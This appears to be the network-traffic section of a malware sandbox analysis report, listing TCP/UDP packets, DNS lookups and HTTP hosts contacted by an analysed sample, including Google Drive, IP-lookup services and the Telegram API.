Nov 25, 2024 13:47:53.739936113 CET	49902	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:53.743086100 CET	49896	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:53.744183064 CET	49907	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:53.863476038 CET	80	49896	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:53.863579988 CET	49896	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:53.864222050 CET	80	49907	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:53.864291906 CET	49907	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:53.864502907 CET	49907	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:53.984456062 CET	80	49907	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:55.006190062 CET	80	49907	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:55.007782936 CET	49909	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:55.007838964 CET	443	49909	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:55.008074999 CET	49909	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:55.008462906 CET	49909	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:55.008476019 CET	443	49909	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:55.061069012 CET	49907	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:56.495980978 CET	443	49909	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:56.497716904 CET	49909	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:56.497749090 CET	443	49909	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:56.497809887 CET	49909	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:56.497826099 CET	443	49909	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:57.177169085 CET	443	49909	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:57.177309990 CET	443	49909	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:57.177434921 CET	49909	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:57.177834034 CET	49909	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:57.181330919 CET	49907	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:57.182574034 CET	49915	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:57.301790953 CET	80	49907	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:57.301860094 CET	49907	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:57.302640915 CET	80	49915	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:57.302732944 CET	49915	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:57.303009987 CET	49915	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:57.423032999 CET	80	49915	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:58.452670097 CET	80	49915	193.122.130.0	192.168.2.9
Nov 25, 2024 13:47:58.454086065 CET	49921	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:58.454196930 CET	443	49921	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:58.454281092 CET	49921	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:58.454560995 CET	49921	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:58.454612017 CET	443	49921	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:58.498454094 CET	49915	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:47:59.867079020 CET	443	49921	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:59.869165897 CET	49921	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:59.869201899 CET	443	49921	149.154.167.220	192.168.2.9
Nov 25, 2024 13:47:59.869261980 CET	49921	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:47:59.869266987 CET	443	49921	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:00.630031109 CET	443	49921	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:00.631679058 CET	443	49921	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:00.631743908 CET	49921	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:00.632016897 CET	49921	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:00.635035992 CET	49915	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:00.636121988 CET	49925	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:00.755475998 CET	80	49915	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:00.755661964 CET	49915	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:00.756117105 CET	80	49925	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:00.756201982 CET	49925	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:00.758322001 CET	49925	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:00.879057884 CET	80	49925	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:02.204852104 CET	80	49925	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:02.205977917 CET	49929	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:02.206027985 CET	443	49929	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:02.206121922 CET	49929	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:02.206406116 CET	49929	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:02.206418991 CET	443	49929	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:02.248486996 CET	49925	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:03.614315033 CET	443	49929	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:03.616244078 CET	49929	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:03.616269112 CET	443	49929	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:03.616314888 CET	49929	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:03.616322041 CET	443	49929	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:04.249810934 CET	443	49929	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:04.249892950 CET	443	49929	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:04.249948978 CET	49929	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:04.250339031 CET	49929	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:04.253395081 CET	49925	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:04.254126072 CET	49935	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:04.374993086 CET	80	49925	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:04.375008106 CET	80	49935	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:04.375051975 CET	49925	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:04.375107050 CET	49935	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:04.375278950 CET	49935	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:04.495311022 CET	80	49935	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:05.517107964 CET	80	49935	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:05.518408060 CET	49940	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:05.518462896 CET	443	49940	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:05.518538952 CET	49940	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:05.518919945 CET	49940	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:05.518939972 CET	443	49940	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:05.560966015 CET	49935	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:07.004439116 CET	443	49940	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:07.006181002 CET	49940	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:07.006220102 CET	443	49940	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:07.006278992 CET	49940	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:07.006289959 CET	443	49940	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:07.632683992 CET	443	49940	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:07.632757902 CET	443	49940	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:07.632826090 CET	49940	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:07.633213997 CET	49940	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:07.635771990 CET	49935	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:07.637032032 CET	49945	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:07.756242037 CET	80	49935	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:07.756411076 CET	49935	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:07.757092953 CET	80	49945	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:07.757170916 CET	49945	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:07.757415056 CET	49945	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:07.878997087 CET	80	49945	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:08.902054071 CET	80	49945	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:08.903641939 CET	49947	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:08.903732061 CET	443	49947	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:08.903819084 CET	49947	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:08.904201984 CET	49947	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:08.904212952 CET	443	49947	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:08.951678991 CET	49945	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:10.265465021 CET	443	49947	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:10.267432928 CET	49947	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:10.267456055 CET	443	49947	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:10.267510891 CET	49947	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:10.267520905 CET	443	49947	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:10.896081924 CET	443	49947	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:10.896176100 CET	443	49947	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:10.896239996 CET	49947	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:10.896702051 CET	49947	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:10.899530888 CET	49945	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:10.900650024 CET	49953	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:11.021378040 CET	80	49945	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:11.021533966 CET	49945	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:11.021745920 CET	80	49953	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:11.021835089 CET	49953	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:11.022012949 CET	49953	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:11.142874002 CET	80	49953	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:12.164453983 CET	80	49953	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:12.165617943 CET	49958	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:12.165668964 CET	443	49958	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:12.165740013 CET	49958	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:12.166007996 CET	49958	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:12.166023016 CET	443	49958	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:12.217242002 CET	49953	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:13.530049086 CET	443	49958	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:13.532098055 CET	49958	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:13.532125950 CET	443	49958	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:13.532183886 CET	49958	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:13.532191038 CET	443	49958	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:14.213813066 CET	443	49958	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:14.213918924 CET	443	49958	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:14.213984966 CET	49958	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:14.214317083 CET	49958	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:14.217001915 CET	49953	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:14.218148947 CET	49962	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:14.337317944 CET	80	49953	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:14.337460041 CET	49953	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:14.338125944 CET	80	49962	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:14.338195086 CET	49962	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:14.338361025 CET	49962	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:14.458287954 CET	80	49962	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:15.517761946 CET	80	49962	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:15.519275904 CET	49966	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:15.519341946 CET	443	49966	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:15.519433022 CET	49966	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:15.519697905 CET	49966	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:15.519711971 CET	443	49966	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:15.560982943 CET	49962	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:16.945663929 CET	443	49966	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:16.947531939 CET	49966	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:16.947613955 CET	443	49966	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:16.947712898 CET	49966	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:16.947726011 CET	443	49966	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:17.661823034 CET	443	49966	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:17.661917925 CET	443	49966	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:17.661993027 CET	49966	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:17.662384987 CET	49966	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:17.665170908 CET	49962	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:17.666295052 CET	49972	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:17.786362886 CET	80	49962	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:17.786508083 CET	49962	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:17.787961960 CET	80	49972	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:17.788049936 CET	49972	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:17.788270950 CET	49972	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:17.910583973 CET	80	49972	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:18.932955980 CET	80	49972	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:18.934159040 CET	49977	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:18.934181929 CET	443	49977	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:18.934236050 CET	49977	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:18.934475899 CET	49977	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:18.934489012 CET	443	49977	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:18.982876062 CET	49972	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:20.354365110 CET	443	49977	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:20.356556892 CET	49977	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:20.356585026 CET	443	49977	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:20.357429028 CET	49977	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:20.357435942 CET	443	49977	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:21.001475096 CET	443	49977	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:21.001564026 CET	443	49977	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:21.001627922 CET	49977	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:21.002124071 CET	49977	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:21.005472898 CET	49972	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:21.006654024 CET	49982	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:21.127327919 CET	80	49972	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:21.127413988 CET	49972	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:21.127973080 CET	80	49982	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:21.128058910 CET	49982	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:21.128218889 CET	49982	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:21.251502991 CET	80	49982	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:22.273792982 CET	80	49982	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:22.291867018 CET	49985	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:22.291920900 CET	443	49985	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:22.292002916 CET	49985	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:22.296211958 CET	49985	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:22.296225071 CET	443	49985	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:22.326652050 CET	49982	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:23.665034056 CET	443	49985	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:23.666784048 CET	49985	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:23.666810036 CET	443	49985	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:23.666865110 CET	49985	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:23.666873932 CET	443	49985	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:24.453367949 CET	443	49985	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:24.453536987 CET	443	49985	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:24.453625917 CET	49985	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:24.454114914 CET	49985	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:24.457192898 CET	49982	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:24.458374023 CET	49991	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:24.577975988 CET	80	49982	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:24.578058004 CET	49982	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:24.578597069 CET	80	49991	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:24.578668118 CET	49991	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:24.586792946 CET	49991	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:24.711671114 CET	80	49991	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:25.785875082 CET	80	49991	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:25.787189960 CET	49996	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:25.787245035 CET	443	49996	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:25.787322998 CET	49996	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:25.787611961 CET	49996	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:25.787625074 CET	443	49996	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:25.826672077 CET	49991	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:27.152868032 CET	443	49996	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:27.154448032 CET	49996	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:27.154480934 CET	443	49996	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:27.154547930 CET	49996	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:27.154556990 CET	443	49996	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:27.885844946 CET	443	49996	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:27.886099100 CET	443	49996	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:27.886169910 CET	49996	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:27.886533022 CET	49996	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:27.889625072 CET	49991	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:27.890520096 CET	50000	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:28.015860081 CET	80	49991	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:28.015923977 CET	49991	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:28.016344070 CET	80	50000	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:28.016408920 CET	50000	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:28.016746998 CET	50000	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:28.142776012 CET	80	50000	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:29.166765928 CET	80	50000	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:29.168332100 CET	50004	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:29.168376923 CET	443	50004	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:29.168433905 CET	50004	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:29.168741941 CET	50004	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:29.168751001 CET	443	50004	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:29.217283010 CET	50000	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:30.854113102 CET	443	50004	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:30.872756958 CET	50004	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:30.872792006 CET	443	50004	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:30.872840881 CET	50004	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:30.872848034 CET	443	50004	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:31.633845091 CET	443	50004	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:31.635320902 CET	443	50004	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:31.635370970 CET	50004	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:31.635720015 CET	50004	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:31.638657093 CET	50000	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:31.639926910 CET	50009	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:31.759044886 CET	80	50000	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:31.759150982 CET	50000	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:31.759818077 CET	80	50009	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:31.759898901 CET	50009	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:31.760080099 CET	50009	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:31.883611917 CET	80	50009	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:32.912528038 CET	80	50009	193.122.130.0	192.168.2.9
Nov 25, 2024 13:48:32.951646090 CET	50009	80	192.168.2.9	193.122.130.0
Nov 25, 2024 13:48:34.743895054 CET	50010	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:34.743953943 CET	443	50010	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:34.744020939 CET	50010	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:34.744303942 CET	50010	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:48:34.744324923 CET	443	50010	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:36.151259899 CET	443	50010	149.154.167.220	192.168.2.9
Nov 25, 2024 13:48:36.201663017 CET	50010	443	192.168.2.9	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 13:47:28.319642067 CET	63720	53	192.168.2.9	1.1.1.1
Nov 25, 2024 13:47:28.457119942 CET	53	63720	1.1.1.1	192.168.2.9
Nov 25, 2024 13:47:31.114120960 CET	56675	53	192.168.2.9	1.1.1.1
Nov 25, 2024 13:47:31.361630917 CET	53	56675	1.1.1.1	192.168.2.9
Nov 25, 2024 13:47:36.470797062 CET	55227	53	192.168.2.9	1.1.1.1
Nov 25, 2024 13:47:36.609015942 CET	53	55227	1.1.1.1	192.168.2.9
Nov 25, 2024 13:47:38.525110006 CET	51472	53	192.168.2.9	1.1.1.1
Nov 25, 2024 13:47:38.666774988 CET	53	51472	1.1.1.1	192.168.2.9
Nov 25, 2024 13:47:40.843432903 CET	56737	53	192.168.2.9	1.1.1.1
Nov 25, 2024 13:47:40.982677937 CET	53	56737	1.1.1.1	192.168.2.9
Nov 25, 2024 13:47:44.583515882 CET	49264	53	192.168.2.9	1.1.1.1
Nov 25, 2024 13:47:44.722060919 CET	53	49264	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 13:47:28.319642067 CET	192.168.2.9	1.1.1.1	0xb0ec	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:31.114120960 CET	192.168.2.9	1.1.1.1	0x2fa	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:36.470797062 CET	192.168.2.9	1.1.1.1	0x2bd0	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:38.525110006 CET	192.168.2.9	1.1.1.1	0x315c	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:40.843432903 CET	192.168.2.9	1.1.1.1	0x37d6	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:44.583515882 CET	192.168.2.9	1.1.1.1	0x1140	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 13:46:26.219363928 CET	1.1.1.1	192.168.2.9	0xa04f	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 13:46:26.219363928 CET	1.1.1.1	192.168.2.9	0xa04f	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:28.457119942 CET	1.1.1.1	192.168.2.9	0xb0ec	No error (0)	drive.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:31.361630917 CET	1.1.1.1	192.168.2.9	0x2fa	No error (0)	drive.usercontent.google.com		142.250.181.1	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:36.609015942 CET	1.1.1.1	192.168.2.9	0x2bd0	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 13:47:36.609015942 CET	1.1.1.1	192.168.2.9	0x2bd0	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:36.609015942 CET	1.1.1.1	192.168.2.9	0x2bd0	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:36.609015942 CET	1.1.1.1	192.168.2.9	0x2bd0	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:36.609015942 CET	1.1.1.1	192.168.2.9	0x2bd0	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:36.609015942 CET	1.1.1.1	192.168.2.9	0x2bd0	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:38.666774988 CET	1.1.1.1	192.168.2.9	0x315c	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:38.666774988 CET	1.1.1.1	192.168.2.9	0x315c	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:40.982677937 CET	1.1.1.1	192.168.2.9	0x37d6	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:47:44.722060919 CET	1.1.1.1	192.168.2.9	0x1140	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
